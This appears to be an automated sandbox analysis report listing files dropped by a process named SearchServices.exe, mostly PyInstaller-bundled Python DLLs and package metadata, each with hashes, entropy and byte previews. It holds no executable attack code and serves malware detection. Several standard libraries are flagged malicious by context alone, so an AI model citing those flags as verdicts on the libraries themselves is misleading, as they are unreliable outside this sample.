File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.675182011095312
Encrypted:	false
SSDEEP:	96:FL8Khp72HzA5iJGhU2Y0hQMsQJCUCLsZEA4elh3XQMtCFaiHrmHcX6g8cim1qeSC:Zj2HzzU2bRYoe4Hmcqgvimoe
MD5:	F33CA57D413E6B5313272FA54DBC8BAA
SHA1:	4E0CABE7D38FE8D649A0A497ED18D4D1CA5F4C44
SHA-256:	9B3D70922DCFAEB02812AFA9030A40433B9D2B58BCF088781F9AB68A74D20664
SHA-512:	F17C06F4202B6EDBB66660D68FF938D4F75B411F9FAB48636C3575E42ABAAB6464D66CB57BCE7F84E8E2B5755B6EF757A820A50C13DD5F85FAA63CD553D3FF32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6..^W..^W..^W..W/..\W..K(..\W.../..\W..K(..UW..K(..VW..K(..]W.."..]W..^W..xW..g.._W..g.._W..g.a._W..g.._W..Rich^W..........PE..d....hAe.........." ...%.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\charset_normalizer\md__mypyc.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120320
Entropy (8bit):	5.879886869577473
Encrypted:	false
SSDEEP:	3072:YKBCiXU2SBEUemE+OaOb3OEOz0fEDrF9pQKhN:YJZ2zOfdQKX
MD5:	494F5B9ADC1CFB7FDB919C9B1AF346E1
SHA1:	4A5FDDD47812D19948585390F76D5435C4220E6B
SHA-256:	AD9BCC0DE6815516DFDE91BB2E477F8FB5F099D7F5511D0F54B50FA77B721051
SHA-512:	2C0D68DA196075EA30D97B5FD853C673E28949DF2B6BF005AE72FD8B60A0C036F18103C5DE662CAC63BAAEF740B65B4ED2394FCD2E6DA4DFCFBEEF5B64DAB794
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........SRxr.Rxr.Rxr.[...Zxr.G.s.Pxr...s.Pxr.G.w._xr.G.v.Zxr.G.q.Qxr...s.Qxr.Rxs..xr.k.z.Sxr.k.r.Sxr.k...Sxr.k.p.Sxr.RichRxr.........................PE..d....hAe.........." ...%............02....................................... ............`.............................................d..........................................Px...............................w..@............@...............................text...X-.......................... ..`.rdata...X...@...Z...2..............@..@.data...8=.......0..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.61968998873571
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
MD5:	8C3617DB4FB6FAE01F1D253AB91511E4
SHA1:	E442040C26CD76D1B946822CAF29011A51F75D6D
SHA-256:	3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
SHA-512:	77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\LICENSE.APACHE

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\LICENSE.BSD

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	5.111831778200942
Encrypted:	false
SSDEEP:	96:DxZpqZink/QIHQIyzQIZQILuQIR8vtklGovuxNx6rIWwCvCCcT+vIrrr9B+M6VwP:xJnkoBs/stL18cT+vIrrxsM6VwDjyeyM
MD5:	AD313397AABF8AF5D234DF73C901CB4D
SHA1:	B213A420B73EACF37409BC428812B3E17F1C12C9
SHA-256:	65479522961A5B9B1C4811232C4133DDC8BDA9BBBC7562B81EF76857A2A2475A
SHA-512:	468BD32AABA49839D4A4752108A378954900037588B7095B318179D64F76F4302ADEBCFA1664CEE5CC390AD0EEA79A611A7B5C372548FEA22DF77C2A459DA2AF
Malicious:	false
Preview:	Metadata-Version: 2.1..Name: cryptography..Version: 42.0.5..Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers...Author-email: The Python Cryptographic Authority and individual contributors <cryptography-dev@python.org>..License: Apache-2.0 OR BSD-3-Clause..Project-URL: homepage, https://github.com/pyca/cryptography..Project-URL: documentation, https://cryptography.io/..Project-URL: source, https://github.com/pyca/cryptography/..Project-URL: issues, https://github.com/pyca/cryptography/issues..Project-URL: changelog, https://cryptography.io/en/latest/changelog/..Classifier: Development Status :: 5 - Production/Stable..Classifier: Intended Audience :: Developers..Classifier: License :: OSI Approved :: Apache Software License..Classifier: License :: OSI Approved :: BSD License..Classifier: Natural Language :: English..Classifier: Operating System :: MacOS :: MacOS X..Classifier: Operating System :: POSIX..Classifier: Operating Syst

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	15325
Entropy (8bit):	5.566095103726107
Encrypted:	false
SSDEEP:	192:GXPJofR5jF4e+6tkh4v4Ko29vZ6W1HepPN+NXwvn5ZnM:GXOfbCWPoIvZ6W1HepPN+9wvnA
MD5:	63C3E2671FC695972FAC7F7FA26CA3DB
SHA1:	58A52CA7E0B6F9DE0E89E1DA799EBBD7898D635E
SHA-256:	A443A65BFFDE342F60CA1267DAB2229514073F64AB1BCC08CCCEF42FC015C16D
SHA-512:	4773FC277B176EDC3872D654992B53BF247B8E3ED87D40C43A5ACEB593C88E03EB6E0E200145EEB66C3B0ACDBA4B77107279C2681840405E88AD195976779D87
Malicious:	false
Preview:	cryptography-42.0.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-42.0.5.dist-info/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-42.0.5.dist-info/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-42.0.5.dist-info/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography-42.0.5.dist-info/METADATA,sha256=ZUeVIpYaW5scSBEjLEEz3ci9qbu8dWK4HvdoV6KiR1o,5430..cryptography-42.0.5.dist-info/RECORD,,..cryptography-42.0.5.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..cryptography-42.0.5.dist-info/WHEEL,sha256=ZzJfItdlTwUbeh2SvWRPbrqgDfW_djikghnwfRmqFIQ,100..cryptography-42.0.5.dist-info/top_level.txt,sha256=KNaT-Sn2K4uxNaEbe6mYdDn3qWDMlp4y-MtWfB73nJc,13..cryptography/__about__.py,sha256=Q_dIPaB2u54kbfNQMzqmbel-gbG6RC5vWzO6OSFDGqM,445..cryptography/__init__.py,sha256=iVPlBlXWTJyiFeRedxcbMPhyHB34viOM10d72vGnWuE,364..cryptography/__pycache__/_

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.0203365408149025
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlbY3KgP+tkKciH/KQLn:RtBMwlVCxWKTQLn
MD5:	C48772FF6F9F408D7160FE9537E150E0
SHA1:	79D4978B413F7051C3721164812885381DE2FDF5
SHA-256:	67325F22D7654F051B7A1D92BD644F6EBAA00DF5BF7638A48219F07D19AA1484
SHA-512:	A817107D9F70177EA9CA6A370A2A0CB795346C9025388808402797F33144C1BAF7E3DE6406FF9E3D8A3486BDFAA630B90B63935925A36302AB19E4C78179674F
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.42.0).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64..

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography-42.0.5.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.2389012566026314
Encrypted:	false
SSDEEP:	3:cOv:Nv
MD5:	E7274BD06FF93210298E7117D11EA631
SHA1:	7132C9EC1FD99924D658CC672F3AFE98AFEFAB8A
SHA-256:	28D693F929F62B8BB135A11B7BA9987439F7A960CC969E32F8CB567C1EF79C97
SHA-512:	AA6021C4E60A6382630BEBC1E16944F9B312359D645FC61219E9A3F19D876FD600E07DCA6932DCD7A1E15BFDEAC7DBDCEB9FFFCD5CA0E5377B82268ED19DE225
Malicious:	false
Preview:	cryptography.

C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7218176
Entropy (8bit):	6.56234593155449
Encrypted:	false
SSDEEP:	98304:1CPfKk+AGdmA+xiIfIBE7S2ohqc/3J2y:gPfr3GdmAwjABE7S2ogiJ
MD5:	12A7C0D35CCBD002150BB29DDD7E8440
SHA1:	F16D9A4654DC76B3CFADA387FF7BDDDB0B18B79A
SHA-256:	7E22D579AC503B959268964102C03D4E96C8A9B74186158B8C82FDC8CF9D9522
SHA-512:	C9E5E68DE8F51F91CBBA839B4FECE1DB4DA7480890A6C7318A78DEAA30191FCB8913BA447F45D4AE93B986F3246F09F8CC721E781CE020110A3BB5628B3EF9F7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........r.Fs..Fs..Fs..O...Ts.....Ds.....Ws.....Ns.....Bs..\|...Ds..Fs..gq.....Ws..)...0p.....Gs..Fs...s.....Gs.....Gs..RichFs..........................PE..d....A.e.........." ...'.jS...........R.......................................n...........`.........................................`.h.p.....h.\|............Pj..M............m......7c.T....................8c.(....6c.@.............S..............................text....hS......jS................. ..`.rdata........S......nS.............@..@.data....!... i.......i.............@....pdata...M...Pj..N....i.............@..@.reloc........m......Dm.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3441504
Entropy (8bit):	6.097985120800337
Encrypted:	false
SSDEEP:	49152:8TKuk2CQIU6iV9OjPWgBqIVRIaEv5LY/RnQ2ETEvrPnkbsYNPsNwsML1CPwDv3u6:Vv+KRi5KsEKsY+NwsG1CPwDv3uFfJu
MD5:	6F4B8EB45A965372156086201207C81F
SHA1:	8278F9539463F0A45009287F0516098CB7A15406
SHA-256:	976CE72EFD0A8AEEB6E21AD441AA9138434314EA07F777432205947CDB149541
SHA-512:	2C5C54842ABA9C82FB9E7594AE9E264AC3CBDC2CC1CD22263E9D77479B93636799D0F28235AC79937070E40B04A097C3EA3B7E0CD4376A95ED8CA90245B7891F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........a...2...2...2...2...2..3...2..3...2..3...2..3...2...2...2L.3...2..3...2..3.2..3...2..p2...2..3...2Rich...2........................PE..d...m..b.........." ... ..$...................................................4....../5...`..........................................h/..h...*4.@....`4.\|....`2.....Z4.`)...p4..O....,.8...........................`.,.@............ 4..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......`2.......1.............@..@.idata..^#... 4..$....3.............@..@.00cfg..u....P4.......3.............@..@.rsrc...\|....`4.......3.............@..@.reloc...x...p4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	702816
Entropy (8bit):	5.547832370836076
Encrypted:	false
SSDEEP:	12288:UUnBMlBGdU/t0voUYHgqRJd7a7+JLvrfX7bOI8Fp0D6WuHU2lvzR:UN/t0vMnffOI8Fp0D6TU2lvzR
MD5:	8769ADAFCA3A6FC6EF26F01FD31AFA84
SHA1:	38BAEF74BDD2E941CCD321F91BFD49DACC6A3CB6
SHA-256:	2AEBB73530D21A2273692A5A3D57235B770DAF1C35F60C74E01754A5DAC05071
SHA-512:	FAC22F1A2FFBFB4789BDEED476C8DAF42547D40EFE3E11B41FADBC4445BB7CA77675A31B5337DF55FDEB4D2739E0FB2CBCAC2FEABFD4CD48201F8AE50A9BD90B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.p..p..p......p...+..p.\.+..p.../..p......p...)..p...+..p..p+.iq......p.....p.....p...(..p.Rich.p*.........PE..d......b.........." ... .B...T......<.....................................................`.........................................@A...N..@U..........s........M......`)......h...0...8...............................@............@..@............................text....@.......B.................. ..`.rdata..J/...`...0...F..............@..@.data...AM.......D...v..............@....pdata...V.......X..................@..@.idata..%W...@...X..................@..@.00cfg..u............j..............@..@.rsrc...s............l..............@..@.reloc..l............t..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	198520
Entropy (8bit):	6.365137514820493
Encrypted:	false
SSDEEP:	3072:nYSqakQm3pSouj2yVi00L+Drqk8avRoxtLR8C9ekJhgkFyRnObUpzGxvspVRI7QD:YwcPuj2yk+Drqk8/yMfJyvt
MD5:	43E5A1470C298BA773AC9FCF5D99E8F9
SHA1:	06DB03DAF3194C9E492B2F406B38ED33A8C87AB3
SHA-256:	56984D43BE27422D31D8ECE87D0ABDA2C0662EA2FF22AF755E49E3462A5F8B65
SHA-512:	A5A1EBB34091EA17C8F0E7748004558D13807FDC16529BC6F8F6C6A3A586EE997BF72333590DC451D78D9812EF8ADFA7DEABAB6C614FCE537F56FA38CE669CFC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9h..}..}..}..tqu.q..2u....2u.p..2u.u..2u.~...u....{.~..}......u.y...u.\|...u..\|...u.\|..Rich}..................PE..d...+..c.........." ..."............................................................U.....`.........................................`...P...............................x)..........@6..T............................5..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\python3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64896
Entropy (8bit):	6.101810529421494
Encrypted:	false
SSDEEP:	768:Y88LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJq9:Y8wewnvtjnsfwERI7Q0L7SyCPx
MD5:	C17B7A4B853827F538576F4C3521C653
SHA1:	6115047D02FBBAD4FF32AFB4EBD439F5D529485A
SHA-256:	D21E60F3DFBF2BAB0CC8A06656721FA3347F026DF10297674FC635EBF9559A68
SHA-512:	8E08E702D69DF6840781D174C4565E14A28022B40F650FDA88D60172BE2D4FFD96A3E9426D20718C54072CA0DA27E0455CC0394C098B75E062A27559234A3DF7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]{....e...e...e..fm...e..fe...e..f....e..fg...e.Rich..e.........................PE..d......c.........." ..."..................................................................`.........................................`...`................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\python310.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4492664
Entropy (8bit):	6.463653563183579
Encrypted:	false
SSDEEP:	49152:m/4rIQeEKdN4uxzx1njuYWxKLx5NFnb7d1G2F58rkx7qzMJYlf1GCJLvNyoInO3V:mS7q35VNFnlRqT84NAnYHAMDlPK0r
MD5:	DEAF0C0CC3369363B800D2E8E756A402
SHA1:	3085778735DD8BADAD4E39DF688139F4EED5F954
SHA-256:	156CF2B64DD0F4D9BDB346B654A11300D6E9E15A65EF69089923DAFC1C71E33D
SHA-512:	5CAC1D92AF7EE18425B5EE8E7CD4E941A9DDFFB4BC1C12BB8AEABEED09ACEC1FF0309ABC41A2E0C8DB101FEE40724F8BFB27A78898128F8746C8FE01C1631989
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R..R..R...S..R......R...W..R...V..R...Q..R.....R.K.S..R..S..R.'._.X.R.'.R..R.'....R.'.P..R.Rich..R.........PE..d......c.........." ..."..#...!...............................................E.......D...`..........................................?=.......>.\|.....E.......B......dD.x)....E..t.. @%.T............................>%.@.............#.8............................text...r.#.......#................. ..`.rdata..<e....#..f....#.............@..@.data........0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32\pythoncom310.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	669184
Entropy (8bit):	6.03765159448253
Encrypted:	false
SSDEEP:	6144:zxxMpraRSS9Y68EuBPjIQN5cJzS7bUxgyPxFMH0PIXY3dVVVVAuLpdorrcK/CXjW:zxxMZMX1bQIJO7bazPEQSYNBLpdwNu
MD5:	65DD753F51CD492211986E7B700983EF
SHA1:	F5B469EC29A4BE76BC479B2219202F7D25A261E2
SHA-256:	C3B33BA6C4F646151AED4172562309D9F44A83858DDFD84B2D894A8B7DA72B1E
SHA-512:	8BD505E504110E40FA4973FEFF2FAE17EDC310A1CE1DC78B6AF7972EFDD93348087E6F16296BFD57ABFDBBE49AF769178F063BB0AA1DEE661C08659F47A6216D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..x...+...+...+..P+...+T.....+T.....+T.....+T.....+.....+......+......+......+...+U..+..W..+.....+..*...+Rich...+................PE..d...k..d.........." ................4.....................................................`..........................................U...c..............l....@...z............... ......T...........................0...8............................................text...#........................... ..`.rdata...$.......&..................@..@.data....I..........................@....pdata...z...@...\|..................@..@.rsrc...l...........................@..@.reloc... ......."..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32\pywintypes310.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134656
Entropy (8bit):	5.992653928086484
Encrypted:	false
SSDEEP:	3072:DLVxziezwPZSMaAXpuuwNNDY/r06trfSsSYOejKVJBtGdI8hvnMu:HfziezwMMaAX2Y/rxjbOejKDBtG681n
MD5:	CEB06A956B276CEA73098D145FA64712
SHA1:	6F0BA21F0325ACC7CF6BF9F099D9A86470A786BF
SHA-256:	C8EC6429D243AEF1F78969863BE23D59273FA6303760A173AB36AB71D5676005
SHA-512:	05BAB4A293E4C7EFA85FA2491C32F299AFD46FDB079DCB7EE2CC4C31024E01286DAAF4AEAD5082FC1FD0D4169B2D1BE589D1670FCF875B06C6F15F634E0C6F34
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.$.X.w.X.w.X.w. [w.X.w.-.v.X.w.75w.X.w.-.v.X.w.-.v.X.w.-.v.X.w.3.v.X.wJ1.v.X.w.3.v.X.w.X.w.X.w,-.v.X.w,-.v.X.w,-.v.X.wRich.X.w........................PE..d......d.........." .........................................................P............`......................................... u..dB......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\select.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29048
Entropy (8bit):	6.478463870483955
Encrypted:	false
SSDEEP:	768:zeS+FwhCWHqhmIRI77GwYiSyv87PxWEgC:zeS+ahVKhmIRI77Gw7SyGPxL
MD5:	C119811A40667DCA93DFE6FAA418F47A
SHA1:	113E792B7DCEC4366FC273E80B1FC404C309074C
SHA-256:	8F27CD8C5071CB740A2191B3C599E99595B121F461988166F07D9F841E7116B7
SHA-512:	107257DBD8CF2607E4A1C7BEF928A6F61EBDFC21BE1C4BDC3A649567E067E9BB7EA40C0AC8844D2CEDD08682447B963148B52F85ADB1837F243DF57AF94C04B3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].t.<r'.<r'.<r'.D.'.<r'.@s&.<r'.@w&.<r'.@v&.<r'.@q&.<r'i@s&.<r'.<s'.<r'.Ns&.<r'i@.&.<r'i@r&.<r'i@.'.<r'i@p&.<r'Rich.<r'........PE..d...&..c.........." ...".....2............................................................`..........................................@..L....@..x....p.......`.......H..x)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.072538194763298
Encrypted:	false
SSDEEP:	24:1rmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:1aJ8YHvEH5QHOs5exm3oEFJ
MD5:	7A7126E068206290F3FE9F8D6C713EA6
SHA1:	8E6689D37F82D5617B7F7F7232C94024D41066D1
SHA-256:	DB3F0246B1F9278F15845B99FEC478B8B506EB76487993722F8C6E254285FAF8
SHA-512:	C9F0870BC5D5EFF8769D9919E6D8DDE1B773543634F7D03503A9E8F191BD4ACC00A97E0399E173785D1B65318BAC79F41D3974AE6855E5C432AC5DACF8D13E8A
Malicious:	false
